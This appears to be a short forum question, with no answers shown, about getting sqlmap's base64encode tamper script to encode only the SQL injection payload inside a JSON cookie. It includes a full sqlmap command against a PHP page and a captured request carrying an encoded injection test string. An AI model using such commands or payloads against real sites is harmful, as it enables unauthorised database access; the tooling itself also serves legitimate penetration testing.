sqlmp encodes parameter and payload

545 Views Asked by At

I have a cookie with base64 encoded json data that is vulnerable to sql injection. I'm trying to get sqlmap to base64 encode the payload but it keeps encoding the leading json code as well.

Cookie: sid=b6270368-4664-11ec-8ec2-98b2e4c71523; userchl2_info=%7B%22last_book%22%3A%22Mg%3D%3D%22%2C%22userchl2%22%3A%22%22%7D; PHPSESSID=r4prs5fb372c7ccuq4bsb947r2

When I run through base64ncode tamper it encodes everything after the = sign.

Commandline:

sqlmap -u http://site/books.php --cookie='Cookie: sid=b6270368-4664-11ec-8ec2-98b2e4c71523; userchl2_info=%7B%22last_book%22%3A%22*****%22%2C%22userchl2%22%3A%22%22%7D; PHPSESSID=r4prs5fb372c7ccuq4bsb947r2' -p 'info=%7B%22last_book%22%3A%22' --flush-session --fresh-queries --dbms=mysql --level=4 --tamper=base64encode.py --proxy=http://127.0.0.1:8080

sqlmap request cookie:

Cookie: Cookie: sid=b6270368-4664-11ec-8ec2-98b2e4c71523; userchl2_info=JTdCJTIybGFzdF9ib29rJTIyJTNBJTIyJykgQU5EIDY4ODY9MTcyMC0tIGVRUXc=%22%2C%22userchl2%22%3A%22%22%7D; PHPSESSID=r4prs5fb372c7ccuq4bsb947r2

How do I make it only encode the payload and not everything after the =?

0

There are 0 best solutions below